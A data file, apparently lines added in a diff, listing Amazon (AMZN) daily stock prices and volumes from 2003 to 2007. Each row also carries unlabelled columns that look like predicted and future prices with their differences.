+2003-09-11,46.20000076293945,46.349998474121094,44.77000045776367,45.189998626708984,45.189998626708984,11613100,AMZN,49.96875,50.09000015258789,4.900001525878906,0.0
+2003-09-25,49.65999984741211,50.95000076293945,49.279998779296875,50.04999923706055,50.04999923706055,11033300,AMZN,54.476418,59.9099998474121,9.860000610351555,0.0
+2003-10-14,58.099998474121094,59.97999954223633,57.79999923706055,59.90999984741211,59.90999984741211,9986600,AMZN,59.638977,56.86000061035156,0.0,3.049999237060547
+2003-10-21,59.72999954223633,61.150001525878906,59.0099983215332,59.349998474121094,59.349998474121094,17114900,AMZN,63.97053,52.22999954223633,-7.119998931884766,0.0
+2003-10-24,54.54999923706055,54.939998626708984,53.0,54.5099983215332,54.5099983215332,10438200,AMZN,60.10003,52.45000076293945,-2.05999755859375,0.0
+2003-11-06,56.810001373291016,56.869998931884766,54.75,54.9900016784668,54.9900016784668,8791800,AMZN,59.895252,53.970001220703125,-1.0200004577636719,0.0
+2003-11-11,51.84000015258789,52.75,50.7599983215332,52.22999954223633,52.22999954223633,10920100,AMZN,57.410286,51.5099983215332,-0.720001220703125,0.0
+2003-12-02,54.5,54.75,53.849998474121094,53.93000030517578,53.93000030517578,6237900,AMZN,57.217655,52.47999954223633,-1.4500007629394531,0.0
+2003-12-09,51.16999816894531,51.650001525878906,49.29999923706055,49.34000015258789,49.34000015258789,10460500,AMZN,55.121685,52.619998931884766,3.279998779296875,0.0
+2003-12-18,47.61000061035156,48.88999938964844,47.45000076293945,48.75,48.75,10750700,AMZN,53.46925,52.95000076293945,4.200000762939453,0.0
+2003-12-24,52.29999923706055,53.880001068115234,52.150001525878906,53.31999969482422,53.31999969482422,5659800,AMZN,58.633175,55.72000122070312,2.400001525878899,0.0
+2003-12-29,53.790000915527344,53.84000015258789,52.130001068115234,53.470001220703125,53.470001220703125,8056900,AMZN,56.89326,56.20000076293945,2.729999542236328,0.0
+2004-02-20,44.79999923706055,45.380001068115234,44.72999954223633,45.16999816894531,45.16999816894531,7475300,AMZN,51.591885,42.439998626708984,-2.729999542236328,0.0
+2004-02-23,45.18000030517578,45.25,43.349998474121094,43.970001220703125,43.970001220703125,9341900,AMZN,49.579285,41.08000183105469,-2.8899993896484375,0.0
+2004-03-03,41.86000061035156,43.380001068115234,41.650001525878906,43.16999816894531,43.16999816894531,9601600,AMZN,48.98641,39.630001068115234,-3.539997100830078,0.0
+2004-03-10,42.720001220703125,43.20000076293945,41.459999084472656,41.54999923706055,41.54999923706055,6932700,AMZN,46.990063,43.279998779296875,1.7299995422363281,0.0
+2004-03-19,43.029998779296875,43.75,42.630001068115234,42.79999923706055,42.79999923706055,5754900,AMZN,49.057,47.959999084472656,5.159999847412109,0.0
+2004-03-22,41.75,41.849998474121094,40.5099983215332,40.849998474121094,40.849998474121094,8975100,AMZN,45.922928,46.58000183105469,5.730003356933594,0.0
+2004-03-25,40.0,42.20000076293945,40.0,41.9900016784668,41.9900016784668,7112700,AMZN,48.16419,45.5,3.509998321533203,0.0
+2004-04-27,47.59000015258789,48.79999923706055,46.790000915527344,48.0,48.0,8983700,AMZN,52.188972,41.9900016784668,-6.009998321533203,0.0
+2004-04-30,46.060001373291016,46.349998474121094,43.310001373291016,43.599998474121094,43.599998474121094,9841300,AMZN,47.991234,41.16999816894531,-2.4300003051757812,0.0
+2004-05-11,41.91999816894531,43.040000915527344,41.900001525878906,42.70000076293945,42.70000076293945,7595600,AMZN,48.978466,50.349998474121094,7.649997711181641,0.0
+2004-05-13,42.459999084472656,44.130001068115234,42.25,43.61000061035156,43.61000061035156,8261200,AMZN,48.537346,50.95000076293945,7.340000152587891,0.0
+2004-05-17,42.2400016784668,42.59000015258789,41.70000076293945,42.08000183105469,42.08000183105469,6625700,AMZN,46.818317,51.939998626708984,9.859996795654297,0.0
+2004-05-20,41.650001525878906,41.970001220703125,40.79999923706055,40.97999954223633,40.97999954223633,5926300,AMZN,48.13831,49.25,8.270000457763672,0.0
+2004-05-25,41.75,43.86000061035156,41.38999938964844,43.619998931884766,43.619998931884766,7222000,AMZN,50.0456,49.77000045776367,6.150001525878906,0.0
+2004-05-27,45.27000045776367,47.83000183105469,44.849998474121094,47.619998931884766,47.619998931884766,14175200,AMZN,52.47665,49.77000045776367,2.1500015258789062,0.0
+2004-06-07,51.689998626708984,51.9900016784668,50.650001525878906,51.7599983215332,51.7599983215332,7688000,AMZN,55.262127,53.709999084472656,1.9500007629394531,0.0
+2004-06-16,50.09000015258789,50.75,49.90999984741211,50.56999969482422,50.56999969482422,4097600,AMZN,58.79403,49.5,-1.0699996948242188,0.0
+2004-06-17,50.5099983215332,50.90999984741211,49.40999984741211,49.77000045776367,49.77000045776367,5875500,AMZN,57.104565,48.31999969482422,-1.4500007629394531,0.0
+2004-07-01,53.79999923706055,54.040000915527344,52.04999923706055,52.560001373291016,52.560001373291016,7211900,AMZN,57.190884,39.97999954223633,-12.580001831054688,0.0
+2004-07-09,49.869998931884766,50.0,47.81999969482422,48.31999969482422,48.31999969482422,8033500,AMZN,54.988865,38.91999816894531,-9.400001525878906,0.0
+2004-07-12,48.220001220703125,49.349998474121094,48.029998779296875,49.04999923706055,49.04999923706055,7066900,AMZN,55.82702,38.29999923706055,-10.75,0.0
+2004-07-14,48.95000076293945,50.400001525878906,48.88999938964844,49.5,49.5,5065600,AMZN,56.10823,37.119998931884766,-12.380001068115234,0.0
+2004-07-15,49.5099983215332,49.66999816894531,48.119998931884766,48.66999816894531,48.66999816894531,5244100,AMZN,54.387573,35.61000061035156,-13.05999755859375,0.0
+2004-07-27,39.20000076293945,39.90999984741211,38.79999923706055,39.11000061035156,39.11000061035156,10534900,AMZN,44.570847,38.22999954223633,-0.8800010681152344,0.0
+2004-07-30,38.5,39.41999816894531,38.22999954223633,38.91999816894531,38.91999816894531,6031500,AMZN,42.511166,39.5099983215332,0.5900001525878906,0.0
+2004-08-04,36.81999969482422,37.459999084472656,36.400001525878906,37.119998931884766,37.119998931884766,9765600,AMZN,41.49695,40.29999923706055,3.1800003051757812,0.0
+2004-08-09,35.34000015258789,36.29999923706055,34.849998474121094,35.31999969482422,35.31999969482422,9167200,AMZN,40.22693,38.310001373291016,2.990001678466797,0.0
+2004-08-12,36.25,37.349998474121094,36.16999816894531,36.290000915527344,36.290000915527344,9118100,AMZN,40.5933,39.18000030517578,2.8899993896484375,0.0
+2004-08-31,38.380001068115234,38.849998474121094,37.86000061035156,38.13999938964844,38.13999938964844,6143200,AMZN,43.716434,41.380001068115234,3.240001678466797,0.0
+2004-09-02,38.040000915527344,39.63999938964844,37.90999984741211,39.18000030517578,39.18000030517578,5722300,AMZN,47.12509,40.939998626708984,1.7599983215332031,0.0
+2004-09-29,39.45000076293945,40.91999816894531,39.36000061035156,40.84000015258789,40.84000015258789,9918800,AMZN,46.024555,38.349998474121094,-2.490001678466797,0.0
+2004-10-22,36.220001220703125,36.79999923706055,33.0,34.599998474121094,34.599998474121094,33544300,AMZN,37.29227,40.459999084472656,5.8600006103515625,0.0
+2004-10-25,34.0,34.40999984741211,33.720001220703125,33.970001220703125,33.970001220703125,10531800,AMZN,37.117,40.88999938964844,6.9199981689453125,0.0
+2004-10-28,34.2400016784668,34.77000045776367,34.13999938964844,34.45000076293945,34.45000076293945,7220600,AMZN,37.839012,40.369998931884766,5.9199981689453125,0.0
+2004-11-03,37.18000030517578,37.619998931884766,35.560001373291016,35.91999816894531,35.91999816894531,10208200,AMZN,42.45094,38.75,2.8300018310546875,0.0
+2004-11-04,35.70000076293945,37.290000915527344,35.52000045776367,36.90999984741211,36.90999984741211,7600300,AMZN,41.27918,39.09000015258789,2.1800003051757812,0.0
+2004-11-05,37.29999923706055,37.38999938964844,36.02000045776367,36.560001373291016,36.560001373291016,7399100,AMZN,40.35717,38.939998626708984,2.3799972534179688,0.0
+2004-11-11,38.09000015258789,39.0,37.63999938964844,38.83000183105469,38.83000183105469,6835000,AMZN,44.234406,40.09000015258789,1.2599983215332031,0.0
+2004-11-18,39.72999954223633,40.959999084472656,39.59000015258789,40.369998931884766,40.369998931884766,6806800,AMZN,45.10728,39.04999923706055,-1.3199996948242188,0.0
+2004-11-19,39.150001525878906,39.439998626708984,38.189998626708984,38.54999923706055,38.54999923706055,11427500,AMZN,44.14777,39.83000183105469,1.2800025939941406,0.0
+2004-11-22,38.439998626708984,38.529998779296875,37.58000183105469,38.04999923706055,38.04999923706055,8868600,AMZN,43.92763,40.439998626708984,2.3899993896484375,0.0
+2004-11-29,39.599998474121094,39.619998931884766,37.709999084472656,38.939998626708984,38.939998626708984,9874100,AMZN,44.73712,38.95000076293945,0.01000213623046875,0.0
+2004-12-06,39.72999954223633,39.97999954223633,39.150001525878906,39.4900016784668,39.4900016784668,6088000,AMZN,44.563324,44.630001068115234,5.1399993896484375,0.0
+2004-12-16,40.86000061035156,41.0,39.709999084472656,40.04999923706055,40.04999923706055,5414900,AMZN,46.629055,42.31999969482422,2.270000457763672,0.0
+2004-12-17,40.15999984741211,40.220001220703125,39.869998931884766,40.0099983215332,40.0099983215332,5486000,AMZN,45.79663,41.84000015258789,1.8300018310546875,0.0
+2005-01-14,42.900001525878906,44.65999984741211,42.36000061035156,44.54999923706055,44.54999923706055,12533000,AMZN,49.236477,35.689998626708984,-8.860000610351562,0.0
+2005-01-19,44.470001220703125,44.7400016784668,43.43000030517578,43.959999084472656,43.959999084472656,7396700,AMZN,47.493618,35.88999938964844,-8.069999694824219,0.0
+2005-01-25,40.63999938964844,41.439998626708984,40.45000076293945,40.939998626708984,40.939998626708984,9027900,AMZN,47.49383,36.13999938964844,-4.799999237060547,0.0
+2005-01-26,41.18000030517578,41.79999923706055,40.2599983215332,41.34000015258789,41.34000015258789,7714900,AMZN,47.264538,35.65999984741211,-5.680000305175781,0.0
+2005-01-28,42.09000015258789,43.0,41.529998779296875,42.220001220703125,42.220001220703125,6152400,AMZN,48.609726,35.310001373291016,-6.909999847412109,0.0
+2005-02-01,43.0,43.27000045776367,42.380001068115234,42.47999954223633,42.47999954223633,6761500,AMZN,48.55681,34.13999938964844,-8.34000015258789,0.0
+2005-02-02,43.04999923706055,43.540000915527344,40.86000061035156,41.880001068115234,41.880001068115234,26323600,AMZN,45.193653,34.689998626708984,-7.19000244140625,0.0
+2005-02-04,35.650001525878906,35.97999954223633,35.189998626708984,35.720001220703125,35.720001220703125,17304700,AMZN,38.991943,35.18000030517578,-0.5400009155273438,0.0
+2005-02-09,36.45000076293945,36.79999923706055,35.869998931884766,35.88999938964844,35.88999938964844,7938800,AMZN,35.23748,35.650001525878906,0.0,0.23999786376953125
+2005-02-22,35.02000045776367,35.38999938964844,34.5099983215332,34.720001220703125,34.720001220703125,6855700,AMZN,40.937054,34.18000030517578,-0.5400009155273438,0.0
+2005-02-24,33.65999984741211,34.849998474121094,33.65999984741211,34.689998626708984,34.689998626708984,8389200,AMZN,40.35128,33.970001220703125,-0.7199974060058594,0.0
+2005-03-04,35.84000015258789,36.310001373291016,35.70000076293945,35.849998474121094,35.849998474121094,5545700,AMZN,43.416237,33.38999938964844,-2.4599990844726562,0.0
+2005-03-09,35.7400016784668,35.93000030517578,34.900001525878906,35.400001525878906,35.400001525878906,7412300,AMZN,42.091248,34.27000045776367,-1.1300010681152344,0.0
+2005-03-15,34.58000183105469,34.849998474121094,33.900001525878906,34.18000030517578,34.18000030517578,5070600,AMZN,41.332726,34.81999969482422,0.6399993896484375,0.0
+2005-03-17,33.58000183105469,34.439998626708984,33.58000183105469,33.970001220703125,33.970001220703125,4858000,AMZN,40.602295,34.599998474121094,0.6299972534179688,0.0
+2005-03-18,34.150001525878906,34.279998779296875,33.650001525878906,34.15999984741211,34.15999984741211,5294700,AMZN,41.3403,34.599998474121094,0.4399986267089844,0.0
+2005-03-21,34.209999084472656,34.630001068115234,33.540000915527344,33.66999816894531,33.66999816894531,6084400,AMZN,41.294643,34.630001068115234,0.9600028991699219,0.0
+2005-03-23,33.09000015258789,33.84000015258789,32.81999969482422,33.18000030517578,33.18000030517578,6323700,AMZN,39.415596,33.970001220703125,0.7900009155273438,0.0
+2005-03-28,33.099998474121094,33.650001525878906,33.02000045776367,33.38999938964844,33.38999938964844,4326600,AMZN,40.4528,33.0,-0.3899993896484375,0.0
+2005-04-07,34.68000030517578,34.91999816894531,34.5,34.900001525878906,34.900001525878906,3807300,AMZN,40.745636,32.52000045776367,-2.3800010681152344,0.0
+2005-04-13,34.349998474121094,34.709999084472656,34.150001525878906,34.29999923706055,34.29999923706055,4125100,AMZN,41.99309,33.959999084472656,-0.3400001525878906,0.0
+2005-04-18,32.900001525878906,33.58000183105469,32.84000015258789,33.0,33.0,6917000,AMZN,39.54868,34.63999938964844,1.6399993896484375,0.0
+2005-04-19,33.18000030517578,33.369998931884766,32.0099983215332,32.779998779296875,32.779998779296875,6619400,AMZN,39.7806,34.22999954223633,1.4500007629394531,0.0
+2005-04-26,33.43000030517578,33.97999954223633,32.58000183105469,32.709999084472656,32.709999084472656,13969300,AMZN,37.627552,34.72999954223633,2.020000457763672,0.0
+2005-04-28,31.65999984741211,32.91999816894531,31.6299991607666,32.52000045776367,32.52000045776367,14472800,AMZN,36.434174,35.59000015258789,3.0699996948242188,0.0
+2005-05-05,33.959999084472656,34.18000030517578,33.59000015258789,33.959999084472656,33.959999084472656,4616900,AMZN,39.271572,35.45000076293945,1.4900016784667969,0.0
+2005-05-12,33.70000076293945,34.119998931884766,33.54999923706055,33.849998474121094,33.849998474121094,6005000,AMZN,39.96671,35.59000015258789,1.7400016784667969,0.0
+2005-05-18,34.810001373291016,35.970001220703125,34.72999954223633,35.33000183105469,35.33000183105469,9557500,AMZN,42.074306,35.20000076293945,-0.13000106811523438,0.0
+2005-05-24,35.47999954223633,35.56999969482422,35.130001068115234,35.540000915527344,35.540000915527344,5914600,AMZN,42.0296,35.2400016784668,-0.2999992370605469,0.0
+2005-06-06,35.540000915527344,36.02000045776367,35.47999954223633,35.77000045776367,35.77000045776367,3881500,AMZN,41.327045,34.5,-1.2700004577636719,0.0
+2005-06-17,35.88999938964844,36.06999969482422,35.15999984741211,35.310001373291016,35.310001373291016,4826100,AMZN,42.827408,35.59000015258789,0.279998779296875,0.0
+2005-06-21,35.599998474121094,35.810001373291016,35.279998779296875,35.380001068115234,35.380001068115234,4457100,AMZN,41.95932,36.5099983215332,1.1299972534179688,0.0
+2005-08-10,45.38999938964844,45.56999969482422,44.59000015258789,44.7599983215332,44.7599983215332,9921200,AMZN,51.815655,42.70000076293945,-2.05999755859375,0.0
+2005-08-18,43.880001068115234,43.900001525878906,43.5099983215332,43.72999954223633,43.72999954223633,3604300,AMZN,51.559116,42.95000076293945,-0.779998779296875,0.0
+2005-08-25,42.540000915527344,42.79999923706055,42.08000183105469,42.310001373291016,42.310001373291016,3092200,AMZN,50.12871,42.79999923706055,0.48999786376953125,0.0
+2005-08-30,42.38999938964844,42.709999084472656,41.959999084472656,42.4900016784668,42.4900016784668,3874200,AMZN,50.504288,41.25,-1.2400016784667969,0.0
+2005-09-13,44.16999816894531,44.380001068115234,43.439998626708984,43.93000030517578,43.93000030517578,4505200,AMZN,50.784393,44.93000030517578,1.0,0.0
+2005-09-16,42.79999923706055,42.91999816894531,42.119998931884766,42.79999923706055,42.79999923706055,4111700,AMZN,47.90849,43.720001220703125,0.9200019836425781,0.0
+2005-09-22,41.20000076293945,42.27000045776367,40.5,42.08000183105469,42.08000183105469,5838000,AMZN,48.17592,42.619998931884766,0.5399971008300781,0.0
+2005-09-28,43.25,43.7400016784668,42.9900016784668,43.369998931884766,43.369998931884766,3239700,AMZN,49.670025,45.86000061035156,2.490001678466797,0.0
+2005-11-01,39.970001220703125,40.7400016784668,39.650001525878906,40.369998931884766,40.369998931884766,5383000,AMZN,45.541615,48.849998474121094,8.479999542236328,0.0
+2005-11-11,42.369998931884766,43.040000915527344,42.25,42.68000030517578,42.68000030517578,3982200,AMZN,49.40554,48.83000183105469,6.150001525878906,0.0
+2005-11-22,47.5,49.0099983215332,47.34000015258789,48.849998474121094,48.849998474121094,12990700,AMZN,52.23447,49.40999984741211,0.5600013732910156,0.0
+2005-11-28,48.150001525878906,49.119998931884766,47.619998931884766,48.349998474121094,48.349998474121094,10670900,AMZN,48.0067,48.369998931884766,0.0,-0.020000457763671875
+2005-12-19,48.9900016784668,50.0,48.31999969482422,48.369998931884766,48.369998931884766,8308700,AMZN,55.874416,44.93000030517578,-3.4399986267089844,0.0
+2005-12-22,48.900001525878906,49.279998779296875,48.36000061035156,49.220001220703125,49.220001220703125,4421800,AMZN,56.79074,44.0,-5.220001220703125,0.0
+2006-01-18,43.189998626708984,44.59000015258789,43.099998474121094,44.31999969482422,44.31999969482422,8743300,AMZN,49.31885,38.16999816894531,-6.150001525878906,0.0
+2006-01-19,44.4900016784668,45.2400016784668,44.29999923706055,44.45000076293945,44.45000076293945,5156900,AMZN,51.6103,37.9900016784668,-6.459999084472656,0.0
+2006-01-26,43.95000076293945,44.779998779296875,43.790000915527344,44.68000030517578,44.68000030517578,4889500,AMZN,50.689816,39.150001525878906,-5.529998779296875,0.0
+2006-02-02,43.84000015258789,44.040000915527344,39.79999923706055,42.7400016784668,42.7400016784668,23709300,AMZN,46.256474,38.349998474121094,-4.390003204345703,0.0
+2006-02-10,37.97999954223633,38.52000045776367,37.369998931884766,38.52000045776367,38.52000045776367,5011800,AMZN,43.4711,36.86000061035156,-1.6599998474121094,0.0
+2006-02-17,38.93000030517578,39.380001068115234,38.90999984741211,39.189998626708984,39.189998626708984,4581800,AMZN,45.195126,36.189998626708984,-3.0,0.0
+2006-03-02,35.63999938964844,37.0,35.369998931884766,36.880001068115234,36.880001068115234,11583700,AMZN,42.685963,35.68000030517578,-1.2000007629394531,0.0
+2006-03-03,36.88999938964844,37.83000183105469,36.66999816894531,37.209999084472656,37.209999084472656,6044900,AMZN,44.545757,35.470001220703125,-1.7399978637695312,0.0
+2006-03-08,36.720001220703125,37.470001220703125,36.61000061035156,36.810001373291016,36.810001373291016,6236600,AMZN,42.50675,36.31999969482422,-0.4900016784667969,0.0
+2006-03-16,37.08000183105469,37.38999938964844,36.7400016784668,36.77000045776367,36.77000045776367,4822800,AMZN,44.223885,38.5099983215332,1.7399978637695312,0.0
+2006-03-28,35.209999084472656,36.02000045776367,35.20000076293945,35.689998626708984,35.689998626708984,5727200,AMZN,43.02004,36.88999938964844,1.2000007629394531,0.0
+2006-04-03,36.66999816894531,37.33000183105469,36.099998474121094,36.13999938964844,36.13999938964844,5054000,AMZN,42.4067,35.54999923706055,-0.5900001525878906,0.0
+2006-04-05,36.65999984741211,37.34000015258789,36.27000045776367,37.34000015258789,37.34000015258789,5559500,AMZN,44.111263,35.7400016784668,-1.5999984741210938,0.0
+2006-04-12,35.90999984741211,36.439998626708984,35.90999984741211,36.130001068115234,36.130001068115234,2855800,AMZN,42.622997,34.470001220703125,-1.6599998474121094,0.0
+2006-05-04,34.619998931884766,34.720001220703125,34.380001068115234,34.470001220703125,34.470001220703125,5997900,AMZN,41.95853,35.630001068115234,1.1599998474121094,0.0
+2006-05-05,34.650001525878906,35.040000915527344,34.150001525878906,35.040000915527344,35.040000915527344,5740900,AMZN,41.935753,36.06999969482422,1.029998779296875,0.0
+2006-05-12,33.560001373291016,33.779998779296875,32.54999923706055,32.72999954223633,32.72999954223633,4873600,AMZN,39.48293,33.4900016784668,0.7600021362304688,0.0
+2006-05-15,32.54999923706055,32.849998474121094,32.209999084472656,32.779998779296875,32.779998779296875,4305000,AMZN,39.565723,33.40999984741211,0.6300010681152344,0.0
+2006-05-18,31.709999084472656,33.63999938964844,31.520000457763672,32.61000061035156,32.61000061035156,12027200,AMZN,38.511684,33.779998779296875,1.1699981689453125,0.0
+2006-05-19,32.65999984741211,34.0,32.029998779296875,33.939998626708984,33.939998626708984,9817200,AMZN,39.961605,33.599998474121094,-0.3400001525878906,0.0
+2006-05-31,34.7400016784668,34.939998626708984,33.72999954223633,34.61000061035156,34.61000061035156,5196600,AMZN,39.076527,36.650001525878906,2.0400009155273438,0.0
+2006-06-01,34.630001068115234,35.45000076293945,34.29999923706055,35.06999969482422,35.06999969482422,5932000,AMZN,40.857677,36.369998931884766,1.2999992370605469,0.0
+2006-06-12,34.0,34.45000076293945,33.4900016784668,33.599998474121094,33.599998474121094,4195800,AMZN,41.242092,38.61000061035156,5.010002136230469,0.0
+2006-06-20,35.0099983215332,35.650001525878906,34.880001068115234,35.47999954223633,35.47999954223633,4465500,AMZN,41.418205,34.630001068115234,-0.8499984741210938,0.0
+2006-07-10,36.29999923706055,36.70000076293945,35.400001525878906,35.790000915527344,35.790000915527344,3876700,AMZN,44.26686,26.889999389648438,-8.900001525878906,0.0
+2006-07-11,35.7400016784668,35.91999816894531,35.0099983215332,35.65999984741211,35.65999984741211,6088600,AMZN,43.15386,26.31999969482422,-9.34000015258789,0.0
+2006-07-17,32.790000915527344,33.93000030517578,32.790000915527344,33.66999816894531,33.66999816894531,7197300,AMZN,40.426815,26.780000686645508,-6.889997482299805,0.0
+2006-08-04,26.940000534057617,27.59000015258789,26.799999237060547,27.290000915527344,27.290000915527344,10252400,AMZN,34.01896,28.03000068664551,0.7399997711181676,0.0
+2006-08-16,27.969999313354492,28.139999389648438,27.520000457763672,27.950000762939453,27.950000762939453,7636600,AMZN,34.826607,29.72999954223633,1.7799987792968786,0.0
+2006-08-18,29.09000015258789,29.229999542236328,28.219999313354492,29.1200008392334,29.1200008392334,5998600,AMZN,35.816208,30.790000915527344,1.6700000762939453,0.0
+2006-08-23,28.559999465942383,28.889999389648438,27.770000457763672,28.139999389648438,28.139999389648438,4726400,AMZN,35.981693,31.649999618530273,3.510000228881836,0.0
+2006-08-28,28.399999618530273,29.0,28.270000457763672,28.90999984741211,28.90999984741211,6067400,AMZN,37.379955,31.57999992370605,2.6700000762939418,0.0
+2006-08-29,28.969999313354492,29.719999313354492,28.75,29.520000457763672,29.520000457763672,7398100,AMZN,37.961838,32.119998931884766,2.5999984741210938,0.0
+2006-09-06,31.760000228881836,31.979999542236328,30.649999618530273,30.799999237060547,30.799999237060547,9114100,AMZN,35.75461,32.33000183105469,1.5300025939941406,0.0
+2006-09-15,31.899999618530273,32.7400016784668,31.579999923706055,32.52000045776367,32.52000045776367,10273700,AMZN,37.556488,32.59000015258789,0.06999969482421875,0.0
+2006-10-04,31.75,32.83000183105469,31.299999237060547,32.7599983215332,32.7599983215332,7064800,AMZN,38.821564,37.68000030517578,4.920001983642578,0.0
+2006-10-09,32.4900016784668,33.47999954223633,32.45000076293945,33.380001068115234,33.380001068115234,5289200,AMZN,38.13369,38.150001525878906,4.770000457763672,0.0
+2006-10-12,33.099998474121094,33.709999084472656,32.630001068115234,33.54999923706055,33.54999923706055,5989700,AMZN,40.275375,37.45000076293945,3.9000015258789062,0.0
+2006-10-13,33.349998474121094,33.58000183105469,33.08000183105469,33.31999969482422,33.31999969482422,4067300,AMZN,40.672836,37.459999084472656,4.1399993896484375,0.0
+2006-10-17,32.20000076293945,32.61000061035156,31.75,32.470001220703125,32.470001220703125,6635700,AMZN,37.945164,38.77000045776367,6.299999237060547,0.0
+2006-10-19,32.16999816894531,32.84000015258789,32.099998474121094,32.540000915527344,32.540000915527344,4037600,AMZN,40.38868,38.84000015258789,6.299999237060547,0.0
+2006-10-24,32.869998931884766,38.0,32.86000061035156,33.630001068115234,33.630001068115234,23155300,AMZN,39.49997,41.5099983215332,7.879997253417969,0.0
+2006-10-25,37.29999923706055,37.97999954223633,36.040000915527344,37.68000030517578,37.68000030517578,46522500,AMZN,41.61783,42.599998474121094,4.9199981689453125,0.0
+2006-11-03,37.61000061035156,37.709999084472656,36.869998931884766,37.459999084472656,37.459999084472656,5124100,AMZN,44.249977,40.849998474121094,3.3899993896484375,0.0
+2006-11-06,37.63999938964844,38.349998474121094,37.529998779296875,38.209999084472656,38.209999084472656,4540900,AMZN,45.04316,40.91999816894531,2.7099990844726562,0.0
+2006-11-13,39.22999954223633,40.0,39.130001068115234,39.9900016784668,39.9900016784668,6944300,AMZN,44.86284,38.97999954223633,-1.0100021362304688,0.0
+2006-11-24,42.560001373291016,42.939998626708984,42.310001373291016,42.40999984741211,42.40999984741211,2241300,AMZN,50.493084,40.0099983215332,-2.4000015258789062,0.0
+2006-12-01,40.2599983215332,40.540000915527344,39.09000015258789,39.40999984741211,39.40999984741211,8306100,AMZN,46.237225,40.2400016784668,0.8300018310546875,0.0
+2006-12-20,39.43000030517578,40.29999923706055,39.38999938964844,40.0099983215332,40.0099983215332,7784300,AMZN,44.493153,38.65999984741211,-1.3499984741210938,0.0
+2006-12-27,39.86000061035156,40.470001220703125,39.79999923706055,40.290000915527344,40.290000915527344,3536500,AMZN,45.973003,36.95000076293945,-3.3400001525878906,0.0
+2006-12-28,40.380001068115234,40.630001068115234,39.91999816894531,40.209999084472656,40.209999084472656,4545500,AMZN,47.056866,36.43000030517578,-3.779998779296875,0.0
+2007-01-29,36.70000076293945,37.45000076293945,36.540000915527344,37.43000030517578,37.43000030517578,7395000,AMZN,43.12861,41.5099983215332,4.079998016357422,0.0
+2007-02-06,37.20000076293945,38.40999984741211,37.08000183105469,38.27000045776367,38.27000045776367,8612700,AMZN,40.683933,39.13999938964844,0.8699989318847656,0.0
+2007-02-12,38.790000915527344,38.9900016784668,38.36000061035156,38.849998474121094,38.849998474121094,3835700,AMZN,44.07155,38.58000183105469,-0.26999664306640625,0.0
+2007-02-28,38.90999984741211,39.58000183105469,38.08000183105469,39.13999938964844,39.13999938964844,7687400,AMZN,45.80273,39.79999923706055,0.6599998474121094,0.0
+2007-03-05,37.150001525878906,38.31999969482422,37.040000915527344,37.04999923706055,37.04999923706055,9565600,AMZN,43.468258,39.0099983215332,1.9599990844726562,0.0
+2007-03-08,38.77000045776367,39.220001220703125,37.97999954223633,38.099998474121094,38.099998474121094,7629300,AMZN,44.587364,39.810001373291016,1.7100028991699219,0.0
+2007-03-12,38.63999938964844,39.04999923706055,38.380001068115234,38.810001373291016,38.810001373291016,4879000,AMZN,43.339962,40.41999816894531,1.6099967956542969,0.0
+2007-03-13,38.29999923706055,38.880001068115234,37.689998626708984,37.81999969482422,37.81999969482422,5204100,AMZN,43.615913,41.189998626708984,3.3699989318847656,0.0
+2007-03-20,38.529998779296875,38.689998626708984,38.22999954223633,38.58000183105469,38.58000183105469,3801300,AMZN,44.69362,41.68000030517578,3.0999984741210938,0.0
+2007-03-23,39.560001373291016,39.599998474121094,38.97999954223633,38.97999954223633,38.97999954223633,2941500,AMZN,46.07726,45.20000076293945,6.220001220703125,0.0
+2007-04-11,41.72999954223633,41.869998931884766,41.2400016784668,41.68000030517578,41.68000030517578,5078400,AMZN,48.727764,61.18000030517578,19.5,0.0
+2007-04-16,43.77000045776367,45.29999923706055,43.66999816894531,45.20000076293945,45.20000076293945,13444000,AMZN,51.123676,60.81999969482422,15.619998931884766,0.0
+2007-04-24,44.75,45.0,44.43000030517578,44.75,44.75,19887600,AMZN,49.55046,60.58000183105469,15.830001831054688,0.0
+2007-04-30,61.90999984741211,62.439998626708984,61.18000030517578,61.33000183105469,61.33000183105469,23979200,AMZN,65.01984,68.30000305175781,6.970001220703125,0.0
+2007-05-03,61.08000183105469,62.540000915527344,60.7599983215332,62.189998626708984,62.189998626708984,13482000,AMZN,54.57741,69.3499984741211,0.0,-7.159999847412109
+2007-05-14,61.68000030517578,61.7400016784668,60.599998474121094,61.70000076293945,61.70000076293945,7760400,AMZN,65.12667,73.6500015258789,11.950000762939453,0.0
+2007-05-31,70.68000030517578,70.73999786376953,68.56999969482422,69.13999938964844,69.13999938964844,9310200,AMZN,72.66276,69.66999816894531,0.529998779296875,0.0
+2007-06-04,68.25,70.6500015258789,67.6500015258789,70.41999816894531,70.41999816894531,11380500,AMZN,73.70341,68.66000366210938,-1.7599945068359375,0.0
+2007-06-19,71.55000305175781,71.66000366210938,69.68000030517578,69.80999755859375,69.80999755859375,11871000,AMZN,73.98278,70.7300033569336,0.9200057983398438,0.0
+2007-06-22,69.55000305175781,69.87999725341797,68.41999816894531,68.86000061035156,68.86000061035156,8382600,AMZN,75.69918,73.69000244140625,4.8300018310546875,0.0
+2007-06-27,66.95999908447266,68.20999908447266,66.70999908447266,68.13999938964844,68.13999938964844,8242900,AMZN,73.1942,73.3499984741211,5.209999084472656,0.0
+2007-07-16,74.7300033569336,74.83999633789062,73.0,73.69000244140625,73.69000244140625,8334900,AMZN,79.13745,79.0,5.30999755859375,0.0
+2007-07-17,74.38999938964844,74.5199966430664,73.58999633789062,73.79000091552734,73.79000091552734,6084400,AMZN,77.75384,79.13999938964844,5.349998474121094,0.0
+2007-07-19,74.23999786376953,74.31999969482422,73.12000274658203,73.3499984741211,73.3499984741211,5273500,AMZN,77.51797,74.11000061035156,0.7600021362304688,0.0
+2007-07-25,84.66000366210938,88.80000305175781,83.6500015258789,86.18000030517578,86.18000030517578,60452400,AMZN,89.950584,72.37999725341797,-13.800003051757812,0.0
+2007-07-31,83.69999694824219,83.7300033569336,78.0,78.54000091552734,78.54000091552734,14104500,AMZN,71.35868,77.48999786376953,0.0,1.0500030517578125
+2007-08-01,78.0999984741211,78.1500015258789,75.05999755859375,77.30999755859375,77.30999755859375,16918000,AMZN,74.42408,78.5,0.0,-1.19000244140625
+2007-08-06,77.05999755859375,79.0,76.5999984741211,79.0,79.0,9002900,AMZN,82.09091,78.6500015258789,-0.34999847412109375,0.0
+2007-08-20,74.9800033569336,75.27999877929688,73.80000305175781,74.69999694824219,74.69999694824219,5916100,AMZN,84.78868,86.27999877929688,11.580001831054688,0.0
+2007-08-29,76.95999908447266,79.05000305175781,76.86000061035156,79.05000305175781,79.05000305175781,5076800,AMZN,83.240555,89.6500015258789,10.599998474121094,0.0
